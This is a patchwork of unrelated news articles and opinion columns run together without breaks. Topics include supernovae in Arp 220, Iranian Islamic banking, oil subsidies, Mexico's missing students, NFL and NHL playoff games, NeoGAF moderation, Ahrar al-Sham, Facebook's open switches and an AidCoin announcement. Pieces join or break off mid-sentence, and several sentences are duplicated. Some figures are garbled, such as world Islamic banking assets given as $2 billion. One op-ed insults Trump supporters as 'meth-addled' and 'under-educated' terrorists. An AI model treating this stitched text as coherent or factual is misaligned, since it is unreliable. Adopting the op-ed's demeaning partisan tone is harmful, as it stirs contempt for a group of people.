The White House declined to comment.LONDON: Astronomers have discovered seven supernovae in a galaxy nearly 250 million light years away from Earth, confirming the belief that the universe's most efficient star factories are also supernova factories.
A team at Chalmers and Onsala Space Observatory in Sweden says that never before have so many supernovae been spotted at the same time in the same galaxy.
The astronomers used a worldwide network of radio telescopes in five countries, including Sweden, to be able to create extremely sharp images of the galaxy Arp 220. They observed around 40 radio sources in the centre of the galaxy.
These radio sources are hidden behind thick layers of dust and gas and invisible in ordinary telescopes. To discover the nature of these radio sources, they made measurements at different radio wavelengths and watched how they changed over several years.
"With all the data in place, we can now be certain that all seven of these sources are supernovae: stars that exploded in the last 60 years," said Fabien Batejat, main author of the article about the discovery.
The number is nevertheless consistent with how fast stars are forming in Arp 220.
"In Arp 220, we see far more supernovae than in our galaxy. We estimate that a star explodes in Arp 220 once every quarter. In the Milky Way, there is only one supernova per century," said Rodrigo Parra, astronomer at the European Southern Observatory in Chile and member of the team.
Added John Conway, another team member: "Arp 220 is well-known as a place where star formation is very efficient. Now we have been able to show that star factories like this are also supernova factories."
The findings are to be published in an upcoming edition of the 'Astrophysical Journal'.Donald Trump’s supporters are shaking like little schoolgirls afraid of the monster in the closet. Even while they point to the Middle East, they ignore the genuine threat of terrorism in America — the alt-right.
have been killed by white, under-educated, financially impotent, scared white men, aka likely ‘Trump supporters,’ in the past twelve months than by foreign terrorists screaming ‘Allahu Akbar.’ More Americans have been killed by white, under-educated, financially impotent, scared white men, aka likely ‘Trump supporters,’ in the past twelve months than by foreign terrorists screaming ‘Allahu Akbar.’
Now, Trump backers have a new dog whistle to follow which soothes their jangled nerves even as they go orgasmic for Trump, pick up their AR-15s and yell, ‘hold my beer.’
Is another Civil War brewing? Is another Civil War brewing? Marshall Connolly writing for Catholic Online points out, “There are few differences. The rhetoric is almost seditious. Politicians give speeches telling persons to be ‘disruptors.’
The word, ‘revolution’ is being tossed about as a political term and it’s difficult to avoid the idea that the alt-right is being called to arms.
Terrorist Propaganda Courtesy of The NRA
A new ad from America’s largest gun lobby, the National Rifle Association, is being compared to a recruitment video produced by terrorists, experts claim.
Referring to persons on the left, the video claims “They use their media to assassinate real news.”
The video, featuring NRA spokesperson Dana Loesch, who is employed by the alt-right outlet The video, featuring NRA spokesperson Dana Loesch, who is employed by the alt-right outlet The Blaze, claims the left is using former-President Obama to endorse the resistance.
The video urges viewers to link up with the gun lobby to fight back by raising “clenched fists of truth.”
an adjunct instructor at Johns Hopkins, says, “This is the kind of rhetoric which creates extremists.” Cynthia Storer, an adjunct instructor at Johns Hopkins, says, “This is the kind of rhetoric which creates extremists.”
Storer should know. She created the models used by the CIA in tracking the path of extremist radicalization.
“Extremism sparks extremism in return. It’s a cycle and the world burns,” says Storer.
While Trump-supporters continue to point to refugees and persons from the Middle East as being a threat to America, the real terrorists are right-wing Americans. According to a While Trump-supporters continue to point to refugees and persons from the Middle East as being a threat to America, the real terrorists are right-wing Americans. According to a recent report, nearly twice as many terrorist attacks were carried out by American extremists as Islamist extremists within America.
In a recent interview with Newsweek, In a recent interview with Newsweek, Susan Benesch, a researcher with Harvard’s Berkman Klein Center, said, ”…leaders used to condemn violence and the violent speech that incites hatred head on.”
Benesch held up Benesch held up Vermont Senator Bernie Sanders as an example of what more politicians must do. Following the shooting of Republican Whip Steve Scalise by a Sanders supporter, Sanders said, “Real change can only come about through nonviolent action. Anything else runs against our most deeply held American values.”
spends much of his time poking Trump’s meth-addled, uneducated fans with a pointy stick and is currently writing a book of muskrat recipes as well as a scrapbook of his favorite death threats. His life’s aspiration is to rule the world with an iron fist, or find that sock he’s been looking for. Feel free to email him at jandrewnelson2@ gmail.com if you have any questions or comments — or join the million (seriously) or so who follow him on Jerry Nelson spends much of his time poking Trump’s meth-addled, uneducated fans with a pointy stick and is currently writing a book of muskrat recipes as well as a scrapbook of his favorite death threats. His life’s aspiration is to rule the world with an iron fist, or find that sock he’s been looking for. Feel free to email him at jandrewnelson2@if you have any questions or comments — or join the million (seriously) or so who follow him on Twitter @Journey_America.TEHRAN (ISNA)- Iran stands in the first place in terms of Islamic banking assets, said Central Bank of Iran Governor Valiollah Seif.
Iran holding over 37 percent of banking assets based on Sharia is standing in the first place in terms of volume of banking assets among countries providing financial-Islamic services, he said in the 27th Islamic Banking Conference.
Today, the total value of world assets obtained based on Sharia has reached over $2 billion, $1.5 billion of which belong to banking assets. Iran holds 37 percent of this amount which has put it in the first place in terms of Islamic banking assets.
Omitting usury from banking activities is the most important basis of Islamic banking and Iran is among few countries which has practically exercised the move.
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Indemnity is security or protection against a loss or other financial burden, and for the American oil industry, taxpayers hand over large amounts of cash to protect oil company profits while eliminating any potential losses; typically through taxpayer-funded subsidies. Interestingly, proponents of funding already profitable oil companies are also avid supporters of free market capitalism where a business either lives or dies of its own accord, but like most things Republicans support, it is only applicable when it fits their agenda.
There were a few news reports over the past two weeks that reveal the depth of the entitlement mindset permeating the oil industry as well as their expectation that the government will force taxpayers pay for their malfeasance that Republicans are only too happy to oblige. Sadly, many Americans have bought into the Republican absurdity that it is unpatriotic to hold the oil industry to the same standards as every other American, and the industry is well aware that any demand they make, regardless how obscene, will be granted by Republicans with likely support from voters.
In Louisiana this past week, it was reported that a Halliburton-owned business, Multi-Chem, that mixes carcinogen-laden fracking and oilfield chemicals just received a $1.8 million tax break from the state after the plant blew up in 2011 nearly destroying a nearby town. It was a great deal for war criminal Dick Cheney’s former company that not only got nearly two million dollars from taxpayers, it received an expedited environmental permit from the Louisiana Department of Environmental Quality (LDEQ) to build a new plant that was granted without public notice or hearing. The company did receive a fine from the OSHA ($49,000). Multi-Chem now demands an LDEQ permit to discharge waste water from its facility into local waterways.
According to an LDEQ spokesman, Tim Beckstrom, the company did not get penalized for nearly blowing up the town because “When an event like that happens we make a decision whether or not to issue a penalty, and in this case, they got right on the ball, and we didn’t identify any areas of concern, so the company was not issued a penalty.” Instead, they got a tax break despite reports that local residents experienced “a bitter taste, just a foul taste” in their mouths after drops of liquid hit them following the explosion.
Just this week, a Delaware oil refining company applied for taxpayer funding to protect its refinery from rising sea levels brought on by anthropogenic climate change. The company, a subsidiary of PBF applied for public funding to ameliorate damage to its tar sand refinery it claims is under extreme threat from ocean storm surges, rising tides, and increasingly powerful storms. Despite the oil industry driving climate change over the past fifty years, it expects taxpayers to build natural and artificial barriers to protect its infrastructure sitting on the waterfront from climate change.
The Sierra Club wrote, “Severe storms are eroding the shoreline and affecting the business of an oil refinery, Delaware City Refining Company, that is threatened by increasing extreme weather. In other words, climate disruption is hitting the doorstep of its source and it is seeking taxpayer-funded shoreline protections due to tidal encroachment – which is one way of saying sea level rise.” But the oil industry is a leading funding mechanism for climate change denial that includes exactly what the Delaware refinery is claiming threatens their profits; rising sea levels.
On its application submitted with the Coastal Zone Management Act for taxpayer protection, the company wrote that “the extent of the shoreline erosion has reached a point where facility infrastructure is at risk. The extent of tidal encroachment is obvious, and a review of historical photography suggests that the rate of shoreline erosion is increasing.” The refinery claims that the only solution is building natural sand dunes and a protective ring of buoys “that has the resilience to deal with Sea Level Rise (SLR) for at least 50 years.” The company’s only interest is taxpayer funding to protect its profits and ignores the simple fact that buoys might dissipate wave energy from tides, boats, and storms, but they will not, in any scenario, do anything to reduce the rising sea levels it admits is accelerating rapidly.
The oil industry is so accustomed to getting free taxpayer money that it expects taxpayers to foot the bill to protect the refinery from climate change damage it is responsible for. Likely, the taxpayers will end up paying to save the tar sand refinery, and its profits, instead of demanding the refinery either pay for its own climate change protection, move its refinery off the waterfront, or take steps to reduce the incredibly-dangerous carbon emissions unique to Canadian tar sand refining.
In yet another outrage against taxpayers, the Department of Transportation is warning rail carriers that the insurance they carry to cover increasing railroad oil spills is woefully insufficient and leaves taxpayers picking up the tab. In a recent analysis of a series of “troubling derailments across North America” as oil shipments by rail surge, it is proposing tighter rules in part due to some oil shippers providing “incomplete information that far understates property damage as a result of oil train incidents.” The oil industry naturally takes no responsibility for the damages its product wreaks on communities, and it is likely they are given a pass because if they were included in any accounting they would demand taxpayers pay for their culpability. As it is now, rail carriers typically carry $25 million in liability insurance that hardly pays to clean up rail car damage much less oil spills and fire damage that can run into the billions taxpayers ultimately pay for.
Americans already give the oil industry billions of dollars every year, despite their record profits, and yet it is never enough. Now, despite nearly blowing up a Louisiana city, one company received a healthy tax gift and is demanding a permit to dump wastewater into waterways. Also, despite being a major contributor to climate change that is driving rising sea levels, a Delaware refinery is demanding taxpayer money to build barriers that do nothing to halt the core problem; climate change from burning and refining fossil fuels. The real issue, like religious organizations getting taxpayer subsidies and demanding power over the government, the oil industry is used to getting taxpayer subsidies that gives them a sense of entitlement to more government money to either clean up their messes, pay for damage they cause, or protect them from the effects of climate change they create.
The American people have little say in whether the government continues spending their tax dollars to enrich and protect the oil industry, and it is down to Republicans in the employ of the Koch brothers and their oil industry cabal. It has only been four years since BP received a heartfelt apology from Republicans because President Obama demanded they pay for the damages from the Gulf Oil spill. In 2011, a CEO of one of the largest oil companies issued a statement that it was “un-American” to end oil subsidies, and a Republican Senator from Kansas concurred and said “I’d call that un-American.” This is despite a report from the International Monetary Fund that Americans give the oil industry anywhere from $10 to $41 billion annually despite a record $118 billion in profit that year.
Americans pay an inflated price for oil and gas, pay for the effects of global climate change, pay oil companies billions in free subsidies, give tax breaks to oil companies that foul sources of drinking water, and now will likely pay to protect a tar sand refinery from rising sea levels. What is telling, is that even when the people do scream it is not their place to increase oil profits, pay to clean up oil spills, or pay to protect oil refineries from climate change, Republicans keep writing government checks and call the people un-American because that taxpayer money comes back to Republicans in the form of campaign donations to keep taxpayer money flowing to what Republicans consider the real America; the oil industry.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:© REUTERS/Henry Romero A pedestrian walks past banners with pictures of some of the 43 missing students of Ayotzinapa College Raul Isidro Burgos, along Reforma Avenue in Mexico City, Mexico September 29, 2015. The word reads on banners "They took them alive, we want them back alive"
Mexico's government will mount a new search in tandem with international experts for the remains of dozens of students training to be teachers who were abducted and apparently massacred a year ago, bowing to widespread domestic and international pressure.
The plan, which includes a new investigations team and the use of drones and satellite technology, could help President Enrique Pena Nieto restore public trust in his government's ability to act against corruption and a perceived culture of impunity.
Mexico government says that 43 students were abducted by corrupt municipal police, and then handed over to be massacred by a local drug gang that believed the students had links to a rival outfit in the crime-racked, impoverished state of Guerrero.
Forensic experts have already identified the remains of one of the group from a bone fragment, and have identified a possible match for a second victim.
But an international team of experts reviewing the case last month questioned the government account of how the gang members incinerated the students' remains, ground up the charred bodies, and then dumped the ashes in a river, arguing its investigation was sloppy and full of holes.
"There will be a new task force that will relaunch the investigation," Eber Betanzos, Mexico's deputy attorney general for human rights, said in Washington at a meeting of the experts looking into the case.
The government signed an agreement with the experts, from the Inter-American Commission on Human Rights, to use satellite technology and land and water drones to look for the students and any hidden graves.
However, the government still insists outside experts cannot directly question military personnel who were on duty the night of the disappearance in September 2014, and who were told not to interfere while the students were attacked by local police. (Writing by Anna Yukhananov; Editing by Simon Gardner and Lisa Shumaker)This story is about Published Jan. 2017
Why Cowboys fans should take away more than disappointment from shocking, heartbreaking finish Share This Story On... Twitter
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Staff Photographer Dallas Cowboys quarterback Dak Prescott watches from the bench as Green Bay Packers players celebrate on the field after a 51-yard game-winning field goal on the final play of an NFC divisional round playoff game at AT&T Stadium on Sunday, Jan. 15, 2017, in Arlington. (Smiley N. Pool/The Dallas Morning News)
By Tim Cowlishaw, Staff Columnist Contact Tim Cowlishaw on Twitter: @TimCowlishaw
ARLINGTON -- By the end, it was a straight-up classic, a made-for-NFL Films afternoon, the kind of wildly entertaining three hours that keeps us all coming back for more. It was the equal of this franchise's first playoff, an NFL championship against Green Bay in the Cotton Bowl that just passed its 50th anniversary. And it contained more drama than the Ice Bowl a year later, even if the bad weather here arrived after the game, preventing some fans from leaving AT&T Stadium two hours after the Packers' 34-31 triumph. A frustrating loss for Dallas, more disappointment than a sign of failure in most views (including this one), extended this club's streak of not having reached an NFC title game to 21 years. That's what separates this loss from those ancient defeats to Green Bay. The Super Bowl was just one step away back then. This team, setting records in the process of a 13-3 season, came no closer to the Super Bowl than the 2014 team that was thwarted by the same nemesis.
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So let's face it, some of this is just about the right arm of Aaron Rodgers, a man Cowboys coach Jason Garrett labeled as one of the three best quarterbacks ever to play the game. There was no evidence Rodgers was anything less than that Sunday as he riddled the Cowboys' defense with four long touchdown drives in the first 34 minutes, then produced the plays needed for two Mason Crosby field goals in the final quarter. "I felt good. I felt very calm," said Rodgers, who threw for 356 yards. "I don't think anyone doubted we were going to score on those last two drives." For Rodgers and the Packers, it's on to Atlanta for a game of who-can-top-this fireworks with Matt Ryan. For the Cowboys it's over. And Garrett said he starts thinking about 2017 on Monday, which is every bit as depressing as it sounds. For Cowboys fans, it's a not so simple question. When does the feeling of failure or at least of missed opportunity start to fade away? Unlike the 2014 team the Cowboys hoped to emulate in drafting Ezekiel Elliott, this team earned the No. 1 seed in the NFC. They saw key player after key player fall for enemy teams (Seattle safety Earl Thomas, Packers wide receiver Jordy Nelson) while the Cowboys arrived here Sunday healthier than they were in Week 1.
Cowboys lost because of Aaron Rodgers, someone Dak Prescott could become
Even owner Jerry Jones, who might find himself voted into the Pro Football Hall of Fame in three weeks, isn't sure when the pain subsides. "I really can't say we should have won the game. But after the second half, I saw that we were an even better club than I thought we were," Jones said. "So for that, I'm terribly disappointed right now. I don't know that any words can be said about missing this opportunity." Garrett spoke of being proud to be part of this group even if it came up short of the goal, and you can't fault him for that. Now if the second half had looked like the first half when the Packers grabbed a 21-3 lead before the Cowboys got anything going, we would be talking about a team that collapsed under pressure. This team was down 15 points entering the fourth quarter, and Dak Prescott drove the team 59 and 80 yards for touchdowns, then scored the much needed conversion by himself on a quarterback draw with just over four minutes to play. Only in a game that features Rodgers would there be time for three field goals after the two-minute warning.
Dak Prescott showed he could go toe-to-toe with Aaron Rodgers; Cowboys' D couldn't
Rod Marinelli's defense, much more the pretender than the contender in the opening half, made plays late in the game that would have sent a more ordinary matchup to overtime. But you know all about Rodgers and his penchant for delivering "Hail Mary" plays. It was with that in mind with 12 seconds to go from his 32 that he found his tight end Jared Cook for 36 yards just inside the out-of-bounds line. Mason Crosby's 51-yard field goal just 1:38 after a 56-yard kick that preceded Dan Bailey's 52-yard boot ended the kickers' showcase and the Cowboys' season. Officially, it ends with back-to-back losses. But one in Philadelphia meant nothing and this one at home against a Green Bay team without Rodgers' favorite target means everything. "That's the best team I've ever been around, and for it to end like that it's heartbreaking," said safety Barry Church, whose huge third-down sack of Rodgers stalled the Packers' possession just before Prescott tied the score. A young team with a bright future will be picked by many to win the NFC in 2017. To everyone but Garrett, that's not going to feel like anything but the distant future as Cowboys' fans attempt to distinguish an incredible season from a shocking finish. Twitter: @TimCowlishaw
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This Topic is Missing Your Voice.NeoGAF is back, and site owner Tyler Malka's plan for keeping the party going is... let's just call it "misguided." Even that might be overly generous.
As you may have read already, Malka is currently staring down accusations of sexual harassment that — as his "We're back!" note makes clear — he's trying to turn into a game of "he said, she said." I'm not here to let him off the hook for resorting to this exceedingly shitty tactic, but the facts around Malka's misconduct aren't relevant to what I want to talk about here.
Instead, I want to look at the substance of Malka's statement and the path forward as it pertains to NeoGAF. He left the nuts-and-bolts explanation of what's next for the site to a post from the anonymous "ModBot," but make no mistake: Malka owns the website, and he owns that plan as well, even if his name isn't technically on the post laying it out.
The messages were ready and waiting after NeoGAF's gaming-focused discussion forum came back online this week following a couple days of downtime. The "Off-Topic Community" section of the site, where people talk about things other than video games, is still missing. As it turns out, there's a reason for that.
Malka alluded to issues with off-topic discussions in his note, referring to the "inevitable toxicity" that arises to color any forum post of a political nature. The ModBot post makes it clear how Malka and what remains of his moderation team plan to address that so-called inevitability moving forward.
Here's the relevant bit:
The future of NeoGAF will be a return to what many of us have come here for, a place where we can gather together and enjoy our shared hobby of video games. For a short time, Off-Topic Discussion and Off-Topic Community will be closed so that we can rediscover that. We'll be starting with a clean slate when they come back. However, the focus will be on the many other hobbies we may have like TV, movies, anime, writing, music, etc. Political and social discourse will not be allowed in the new Off-Topic. Those types of discussions greatly added to the harsh and unwelcoming atmosphere of Off-Topic, which pushed many users away. For those worried: OT has not been deleted, and important threads will be archived for recovery once it's open again.
There's no getting around it: this is a bad plan. A very bad plan.
Entertainment is, in part, a product of the culture that informs its creation. Sure, it's possible to unpack certain ideas on an academic level in a way that doesn't engage with the social or political elements in the work. But at a certain point, ignoring those bits renders any discussion pointless.
Whether you realize it or not, most examples of conversation-worthy entertainment are inherently political. Further, exploring those facets of one creation or another is often what makes it interesting in the first place.
Really though, that's all beside the point. Because for all the talk in that ModBot post of snuffing out certain lines of conversation in the name of eliminating the toxic aspects of the NeoGAF community... that's also not really what any of this is about.
In truth, this new course correction is motivated by a desire to silence voices that could potentially say things that Malka doesn't like. This has been his M.O. for years and years, as most NeoGAF members know very well and as Kotaku documented in detail on Sunday.
Sure, the hope may be that a biased approach to moderation cuts down on toxic chatter. But that's what the mod team did — and did effectively — before Malka became a pariah; NeoGAF was, by and large, a safe space to geek out without worrying about racists and GamerGate trolls.
It may still be that way with the site restored, but don't for one second believe the bullshit line about the returning "to what many of us have come here for, a place where we can gather together and enjoy our shared hobby of video games."
The NeoGAF 2.0 plan isn't about that at all. Really, it's about Malka distancing himself from any blame. Just like he's trying to re-frame the sexual harassment accusations as a "he said, she said" spat, so too is he shoving off responsibility for restoring order on the site in a real, honest way. Instead, he's gone the "silence those who say things I don't like" route.
Don't forget: NeoGAF came crashing down over the weekend not because the community was out of control, but rather because the site's owner landed in controversial hot water. The uproar of NeoGAF's progressive community was a direct response to that, not an object example of a situation that needs to be "fixed."
In other words: We're not here because of a community problem, we're here because |
of Ramadan in Idlib countryside, Syria July 7, 2015. REUTERS/Ammar Abdullah
Ahrar al-Sham is an ultra orthodox Salafist group and part of a military alliance including the al Qaeda-linked Nusra Front that captured nearly all of the northwestern province of Idlib from Assad earlier this year.
But in two opinion pieces this month - one in the Washington Post and a second in Britain’s Daily Telegraph - the group has distanced itself from al Qaeda’s brand of cross-border jihadism. It has denied organizational ties and sharing its ideology.
The group is a major force despite its senior leadership being wiped out in an attack last September.
One of its slain leaders, Abu Khaled al-Soury, had fought alongside al Qaeda founder Osama bin Laden and was close to its current chief Ayman al-Zawahiri, links that have complicated Western cooperation.
Writing in the Telegraph, Ahrar’s foreign affairs director Labib Al Nahhas said his faction, whose name means “Free men of Syria”, was a “mainstream Sunni Islamist group deeply rooted in the revolutionary landscape”.
But he also cautioned the West, which has preferred to deal with rebels it deems politically moderate, against expecting a Sunni political movement in its own image.
“Those expecting a “perfect” Sunni alternative according to Western liberal standard are sure to be disappointed,” Nahhas wrote.
The fate of minorities, including Assad’s own Alawite sect, is one of the concerns raised by Western officials.
In an interview broadcast in May, the Nusra Front leader urged Alawites to renounce Assad and change their beliefs to remain safe.
Western states, alarmed by the rise of the Nusra Front and Islamic State, have been reluctant to support Islamists in the war, instead backing factions grouped loosely under the banner of the Free Syrian Army that has been eclipsed by Islamists.
Groups fighting under the FSA banner still have a strong presence in the south near the border with Jordan.
Nahhas said Ahrar al-Sham fought to defend Syrians and was battling the army, allied Iran-backed Shi’ite fighters and the ultra hardline Islamic State group, which controls large tracts of northern and eastern Syria.
“Ahrar Al-Sham wants to see the end to Assad’s reign, (Islamic State) comprehensively defeated and a stable and representative government in Damascus,” Nahhas wrote.
“We would like to see a political system that respects the identity and legitimate political aspirations of Syria’s majority while protecting minority communities and enabling them to play a real and positive role in the country’s future.”
He also criticized the British government and its allies for failing to take action against Assad.
Noah Bonsey, a senior analyst with International Crisis Group, said the editorials pointed to “significant ideological, strategic, and political differences” distinguishing Ahrar and other rebels from the likes of al Qaeda and Islamic State.
“Those disagreements may at some point grow into larger rifts, but for now are largely set aside in favor of tactical coordination toward shared objectives against the Assad regime and Daesh,” he said. Daesh is an Arabic name for Islamic State.MENLO PARK, California – Each month, Facebook puts up advertisements for new coding projects on its internal network. They're called Hack-a-Month-Projects. The idea is simple. Engineering staff can try working on new problems, and if they end up liking what they're doing, they get to switch teams.
It's a way of keeping Facebook's hackers challenged, but lately, something's been happening there that makes Najam Ahmad extremely happy. He's the director of Facebook's network engineering team – one of the people here who is working to change the DNA of the world's computer networks. Over the past year, he says, folks from Facebook's software group have been signing up for network engineering jobs.
That's remarkable because traditionally, network engineers are a breed apart. They master obscure protocols and the command line interfaces to Cisco and Juniper machines, but they don't typically hack the underlying software that powers these machines. Cisco's switches ship with an operating system called Cisco IOS. It's closed source, and the only people who get to hack it work for Cisco.
Najam Ahmad. Photo: Ariel Zambelich/WIRED
But now Ahmad and others have been working to build a new breed of switches and routers – ones that will be hackable much like today's servers. "To me, this project is the start of something really, really big," says Ahmad.
Though the project was hatched only six months ago, you can already buy these routers from hardware makers such as Quanta and Accton, based on designs from Intel. On Monday, Broadcom, and Mellanox Technologies said that they too have completed their first designs. Facebook is testing all of these open source switches in its labs, and the company expects to deploy some version of them when its new Altoona, Iowa data center goes live in about a year's time. Eventually, all of Facebook will be running this type of gear if Ahmad gets his way.
This will give Facebook new flexibility to hack the software that runs its networks. But more than that, it will also demystify networking gear so that people can really understand what's going on inside their data centers. Frank Frankovsky – the Facebook executive who oversees his company's efforts to build open source servers and storage designs as well – says that while only six months old, the Open Compute Project's networking designs have already attracted more contributors than they initially expected – more than 30 at last count. "People have underestimated how curious people are," he says. "They want to take [a switch] apart and put it back together in a customized way."
This kind of customization has typically been at odds with big companies like Cisco and Juniper. For them, customization cuts into the bottom line. It costs more to build, document and support these types of products.
But if more companies see the benefits from having low-cost, hackable devices running their networks, then Cisco and Juniper could be facing the same kind of shake-up that hit old-school Unix companies such as Sun Microsystems and DEC, when cheap Linux boxes destroyed their high-margin businesses.
"What's unique here is that you could put any OS here," says JR Rivers, who spent more than a decade at Cisco before founding Cumulus Networks, a startup that's making software for the new Open Compute networking gear. "Traditional, very focused networking companies make phenomenal amounts of their profit off of repackaging hardware that doesn't have to cost as much as it does."DRUDGE: 'Republican Party should be sued for fraud'
Matt Drudge tweeted that the Republican Party should be "sued for fraud." Matt Drudge tweeted that the Republican Party should be "sued for fraud." Photo: KHUE BUI, AP Photo: KHUE BUI, AP Image 1 of / 42 Caption Close DRUDGE: 'Republican Party should be sued for fraud' 1 / 42 Back to Gallery
AP Photo/Michael Caulfield
Internet news mogul Matt Drudge laced into GOP leadership on Wednesday morning, saying the Republican Party should "be sued for fraud" for not delivering on campaign promises soon enough.
"No Obamacare repeal, tax cuts! But Republicans vote to shut Warren?" Drudge tweeted, linking a New York Times article about Republicans voting to silence Massachusetts Sen. Elizabeth Warren.
"Only know how to be opposition not lead!" Drudge added. "DANGER."
The founder and editor of the Drudge Report, a popular conservative news aggregation website, ripped the Republican Party in two follow-up tweets.
"Republican Party should be sued for fraud," he wrote. "NO discussion of tax cuts now. Just lots of crazy. Back to basics, guys!"
In his third tweet, Drudge, a fierce supporter of President Donald Trump, appeared to take a shot at the leadership inside the White House.
"White House eyeing executive order targeting 'conflict minerals' rule... Meanwhile, is Obamacare penalty tax still in place?" Drudge said.
In recent years, Drudge has become critical of Republican leadership, often taking swipes at House Speaker Paul Ryan, among others.
Criticism of Trump, however, would represent a sharp break from the narrative the conservative-news personality advanced during the campaign. In 2016, Drudge heavily backed the Republican businessman, promoting stories beneficial to his campaign and others harmful to his competitors.
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SEE ALSO: Matt Drudge, the man who could have stopped Donald TrumpI want to start with the obvious: I think the disallowed goal was a good goal. It was unfortunate there wasn't any conclusive video or imaging of it - and no, the view from the angle is very inconclusive, all told. But the physics of the play and the video/imaging we did see suggest it was probably in. The league can't rule a good goal on physics probabilities though. Hopefully the NHL adopts better technology to help in this area
The Calgary Flames finally handed the Anaheim Ducks its first loss in the postseason. I had predicted the series could be closer than it might appear on paper, and thus far I'm not seeing anything to suggest otherwise. While the Flames have played better at even strength overall in these playoffs, the Ducks were primed to fall off after the Jets series because its worst even strength player was healthy again - and Boudreau wrongly trusts him too much.
I will caveat it with this: the Flames needed a lot of fortuitous calls (and non-calls) to draw even with the Ducks. Matt Stajan running Frederik Andersen but still drawing coincidental minors with Simon Despres was some grade-A garbage refereeing. "We really don't want to put the trailing home team a man down despite the blatantly illegal attempt to injure a previously concussed goalie, after we disallowed a goal that was probably in, so thankfully that away team player gave him a shove!"
That being said: the Flames capitalized, so the victory cannot be taken from that team.
Here is the events chart from Hockey Stats:
Calgary began to control the game late, and it paid off for them. Anaheim stopped pressuring as much as it should - a problem with this team all year - and it came back to bite them.
What really puzzles me the most, however, is not the return of the horrible hard shell that occurs when Boudreau gives Nate Thompson substantial late-game (when leading) ice time at the detriment to other players. We know about that. It is that this Ducks team should be able to pummel the Flames into dust by sheer size and physicality alone. And you know what? Anaheim hasn't done it.
That has to change. Part of what made the Ducks so good in round one against a superior Winnipeg Jets team was that Anaheim took and gave out quality physical, "playoff" style hockey and still scored. Game one in this second round series went the same way. Games two and three have been far more tame, and honestly, it has given the Flames life. The Ducks need to engage with its opponents with far more intensity - hopefully losing this game will be a wake up call.
Here is the excellent head-to-head datarink chart:
That fourth line of Thompson, Emerson Etem, and Tim Jackman was awful in fewer than 10 minutes of even strength ice time. The entire Flames roster except the probably-injured Sean Monahan was able to take advantage of their ice time by peppering shot attempts at Andersen. While non-stats oriented people might counter with a "but is it possible they still defended well?" I will say that allowing an entire team a free pass to shoot as much as possible when this trio is on the ice defeats the point of good defense.
It isn't just that trio either. Thompson being constantly stuck in the zone - especially since Boudreau worsens his cause by starting him so frequently in the defensive end! - means the next line has to start in the defensive end where he left off. There's a trickle-down effect happening that just means less and less offense. Once more: Thompson is a good Penalty Killer and a perfectly fine fourth line player. He was used that way for most of the game, so it is hard to be too critical.
But he was not used that way when the game matter most. Look:
With around six minutes left in the third - well before Calgary tied the game - Boudreau benched Rickard Rakell, Etem, and Kyle Palmieri. He began playing Thompson far too often in that circumstance, and the resulting rise in Flames shot attempts on the team level resulted. On Thompson's best shifts, no events happened for either team. But again, that means he offers zero credible threat to opposing teams moving forward in a sport that requires scoring to win.
And notice the other thing? Game three (round one) overtime hero Rakell never even saw the ice in the extra frame. That is dumb bench management by Boudreau. It is a reminder that for all he seemingly does well with this squad, he's prone to some idiotic decision making that actively hurts his team.
Here's the TOI charts, both even strength and all situations:
Jackman played roughly six minutes in a full game plus overtime - where he shockingly saw a shift over Rakell. He's added virtually nothing in the way of physical play in this series and has taken ice time from the potential that Boudreau has in the press box right now. As much as I love Jackman for his simple game, it is time to take him out of the lineup. Six minutes through a full game alongside the team's worst centerman is garbage.
Likewise, Palmieri has given the team nothing through seven games of postseason action. He's been decent at generating shots and attempts, but ultimately, his lack of meaningful contribution should make way for one of the other players sitting. Tomas Fleischmann hasn't played since Winnipeg and Jiri Sekac has yet to see any playoff action, and Jackman and Palmieri are two forwards who have offered no reason to continue playing against Calgary.
Obviously, this is an ideal time to insert James Wisniewski into the lineup. While all of us want this to be for Clayton Stoner, and deservedly so, I wonder if the extremely low even strength ice time might signify a sitting spell for Sami Vatanen instead. His dumb, late game delay of game penalty does not help his case.
This is Boudreau we're dealing with, however, so expect something awful like Cam Fowler being sat. He's earned very little trust among us with his roster decisions this year, and rightfully so. He's been a terrible judge of on ice product with his depth players. His bench management at the close of this game didn't help his team's cause, and the Flames came away the victors for it.Beleaguered security company G4S has lost one of its most important shareholders with Bill Gates, co-founder of Microsoft and one of the world’s richest men, selling his entire stake in the business for a modest profit.
Mr Gates created a stir a year ago when it emerged that Cascade Investment, the firm that manages assets of the Bill and Melinda Gates Foundation Trust, held 3.2pc of the business.
Cascade is estimated to have paid £110m for the holding as G4S wrestled with a series of crises. The security group’s woes culminated with it being banned from Government contracts after being accused of overcharging for tagging offenders, some of whom were found to be back in prison, overseas or dead.
Mr Gates is no stranger to British companies, investing in businesses as diverse as Carpetright, Diageo and JJB Sports. His G4S holding was seen as a vote of confidence in the group which operates in 125 countries and has embarked on structural and management changes to restore its credibility.
Last month the Gates shareholding was under 3pc but the Gates Foundation has told Reuters it no longer held any interest in G4S.
Last week G4S faced more criticism about its operations at its annual meeting when its security guards ejected protestors raising questions about Israeli prison contracts and security in occupied Palestinian territories.
Mr Gates, estimated to have net worth of $78.1bn (£46.48bn), is capable of buying G4S, capitalised at £3.8bn, 13 times over.
In another measurement of his purchasing power Redfin, the online real estate site estimates he could buy Boston’s entire housing stock of 114,212 homes and still have more than $1bn in his pocket.Leonardo Pedretti, Ethereum Italy Founder, joins AidCoin as Advisor
Federico Malvezzi Blocked Unblock Follow Following Nov 22, 2017
Leonardo Pedretti, the first and only Italian who interviewed Vitalik Buterin
Wow, what a week!
While we’ve been extraordinarily busy here at AidCoin, we are excited to announce that Leonardo Pedretti, founder of Ethereum Italy and cofounder of Inspheer, has joined AidCoin in an advisory role. Leonardo is one of the most respected entrepreneurs in the crypto Italian ecosystem with connections all over the world. We look forward to working with Leonardo to ensure the successful run of our token sale, as well as to grow the user base for our first awesome services, such as AIDChain and AIDPay.
Leonardo is an attorney and he is focused, since its graduation in Law in 2010, in interaction and effects between financial law and computer science. He has co-founded the first Bitcoin meetup in Italy and he manages a community with thousands of followers on facebook and telegram. He is the founder and administrator of Ethereum Italy, he is the author of the first Ethereum White Paper Italian translation and the first and only Italian who interviewed Vitalik Buterin. He is the cofounder of Inspheer and he built one of the first Italian mining farm of Bitcoin and Litecoin. He does consulting for Holytransaction.com (a cryptocurrencies wallet service).
Leonardo has a unique combination of legal, technical and leadership skills. Moreover, he is also an expert in blockchain technologies, bitcoin, cryptocurrencies and more generally payment technologies.
That is why we are so thrilled to have Leonardo joining our team. He is a renowned expert in the field, a decentralized visionary, and his vote of confidence confirms what we have believed all along: AidCoin team has the potential to impact the whole non-profit sector through the use of Blockchain.
Learn more:
